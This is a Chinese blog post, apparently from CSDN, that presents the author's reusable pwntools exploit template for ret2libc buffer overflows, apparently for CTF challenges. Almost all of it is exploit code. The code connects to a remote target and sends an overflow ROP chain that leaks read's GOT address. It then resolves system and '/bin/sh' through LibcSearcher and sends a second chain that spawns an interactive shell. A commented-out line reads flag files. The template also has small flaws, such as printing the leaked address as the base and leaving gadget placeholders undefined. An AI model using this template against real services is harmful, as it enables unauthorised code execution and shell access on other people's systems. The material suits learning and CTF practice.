初级 Pwn Ret2Libc 较万用PoC

最新推荐文章于 2024-10-31 17:28:42 发布

Red-Leaves

最新推荐文章于 2024-10-31 17:28:42 发布

阅读量238

点赞数 1

分类专栏： Pwn 文章标签：学习 python linux

本文链接：https://blog.csdn.net/qq_29912475/article/details/127563608

版权

Pwn 专栏收录该内容

45 篇文章 4 订阅

订阅专栏

from pwn import * 
from LibcSearcher import LibcSearcher
#from LibcSearcherX import *
 
elf = ELF("Your Elf")
#libc = ELF("Your Libc") 
io = remote("Ip",Port)
#io = process("Your Elf")
 
# Get Pot and Got 替换为需要获取的函数即可
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main = elf.symbols['main']
 
# Phase 1 --- Leak real address
print("--------------------------------------------------")
print("[+] Leaking real address ...")
print("[+] Phase 1 Inprogress.")
# 替换部分 Payload 以及 recvuntil
payload_addr = flat(b'A' * ( 32 + 0x08 ) + p64(rdi) + p64(format_str) + p64(rsi) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main) )
print("[+] Payload = \n",(payload_addr))
io.recvuntil('name? ')
io.sendline(payload_addr)
#write_addr = u32(io.recv(4))
read_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("[+] Phase 1 Completed.")
print("--------------------------------------------------")
 
# Phase 2 --- Get libcbase address and etc though real address
print("[+] Phase 2 Inprogress.")
print("[+] Trying got system and /bin/sh address though real address")
#libc = LibcSearcher("write",write_addr)

#视情况而选择
 
# Dump
libc = LibcSearcher("read",read_addr)	
libcbase = read_addr - libc.dump('read')
system = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
 
# Sym
#libc = LibcSearcherLocal("read",read_addr)
#libcbase = read_addr - libc.sym['read']
#system = libcbase + libc.sym['system']
#bin_sh = libcbase + libc.sym['str_bin_sh']
 
print("[+] Phase 2 Completed")
print("--------------------------------------------------")
 
# Phase 3 --- Print Addresses
print("[+] Phase 3 Inprogress.")
print("[+] Real Address: ",hex(read_addr))
print("[+] Base Address: ",hex(read_addr))
print("[+] System Address: ",hex(system))
print("[+] /bin/sh Address: ",hex(bin_sh))
print("[+] Phase 3 Completed")
print("--------------------------------------------------")
 
# Phase 4 --- Get Shell
# 替换部分 Payload
payload = (b'A' * ( 32 + 0x08 ) + p64(rdi) + p64(bin_sh) + p64(system) )
io.sendline(payload)
#print("Successfully got shell , Automaticly cat flags ...")
#io.sendline("find . -name 'flag.txt' -exec cat {} \;")
io.interactive()

自己写的一个比较通用的PoC，用作备忘。

建议先看看为什么要这么写再使用。